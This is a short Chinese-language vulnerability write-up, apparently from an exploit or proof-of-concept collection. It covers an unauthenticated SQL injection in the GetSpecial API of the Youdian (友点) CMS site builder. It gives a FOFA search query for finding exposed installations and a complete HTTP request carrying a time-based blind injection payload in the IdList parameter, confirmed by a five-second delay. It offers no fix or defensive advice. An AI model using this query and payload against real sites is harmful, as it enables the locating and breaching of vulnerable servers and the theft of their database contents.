Y7-2友点-CMS建站系统-SQL

漏洞描述：

友点CMS建站系统GetSpecial接口处存在SQL注入漏洞，未经身份认证的攻击者可以利用该漏洞获取系统数据库敏感信息，深入利用可获取服务器权限。

网络测绘：

fofa语法：

FOFA：app="友点建站-CMS"

漏洞复现：

payload：

```
GET /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29A HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

效果图:
延时5秒